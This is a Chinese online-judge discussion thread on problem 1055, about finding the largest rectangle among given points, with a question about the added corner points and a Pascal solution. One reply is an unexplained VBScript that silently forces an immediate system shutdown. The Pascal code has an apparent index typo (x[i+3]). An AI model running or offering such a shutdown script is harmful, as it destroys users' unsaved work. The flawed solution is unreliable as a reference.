高手指教一下

for i:=1 to n do

readln(x[i],y[i]);

inc(n); x[n]:=l; y[n]:=0;

inc(n); x[n]:=0; y[n]:=w;

为什么新加入的一定要是(L,0)和(0,w),

(0,0)和(l,w)为什么不行??

4 条评论

  • @ 2015-04-22 21:25:19

    orz

  • @ 2015-02-06 10:11:38

    dim WSHshell
    set WSHshell = wscript.createobject("wscript.shell")
    WSHshell.run "shutdown -f -s -t 00",0 ,true

  • @ 2014-05-14 19:09:17

    pascal:
    var

    l,w,i,aa,j,bb,max,n:longint;

    x:array[1..5005]of longint;

    y:array[0..5005]of longint;

    procedure init;

    begin

    readln(l,w); //l:chang w:kuan

    max:=-maxlongint; //qiu zui da zhi

    readln(n);

    for i:=1 to n do

    readln(x[i],y[i]);

    x[n+1]:=0;y[n+1]:=0;//zhuoshang

    x[n+2]:=0;y[n+2]:=w;//zuoxia

    x[i+3]:=l;y[n+3]:=0;//youshang

    x[n+4]:=l;y[n+4]:=w;//youxia

    end;

    procedure sort(l,r:longint); //you xiao dao da pai xu x de zuo biao,zhu yi jiao huan y

    var

    i,j,mid,swap:longint;

    begin

    i:=l; j:=r; mid:=x[(l+r) div 2];

    repeat

    while x[i]<mid do inc(i);

    while mid<x[j] do dec(j);

    if j>=i then

    begin

    swap:=x[i]; x[i]:=x[j]; x[j]:=swap;

    swap:=y[i]; y[i]:=y[j]; y[j]:=swap;

    i:=i+1;

    j:=j-1;

    end;

    until i>j;

    if l<j then sort(l,j);

    if i<r then sort(i,r);

    end;

    procedure main;

    begin

    for i:=1 to n+4 do //for di yi ge dian wei zhi

    begin

    aa:=0;bb:=w;

    for j:=i+1 to n+4 do //for di er ge dian wei zhi

    begin

    if (x[j]-x[i])*(bb-aa)>max then max:=(x[j]-x[i])*(bb-aa); //de chu zui da tu xing

    if (y[j]>y[i])and(y[j]<bb) then bb:=y[j]; //xun zhao zui jin de di er tiao bian

    if (y[j]<y[i])and(y[j]>aa) then aa:=y[j]; //xun zhao zui jin de di yi tiao bian

    if y[i]=y[j] then break; //biao shi xun huan wan le jiu break

    end;

    end;

    end;

    procedure print;

    begin

    writeln(max); // shu chu jie guo

    end;

    begin

    init;

    sort(1,n+4);

    main;

    print;

    end.

  • @ 2009-08-12 19:23:06

    022112

    此问题已解决

  • 1

信息

ID
1055
难度
5
分类
动态规划 点击显示
标签
递交数
2105
已通过
652
通过率
31%
被复制
10
上传者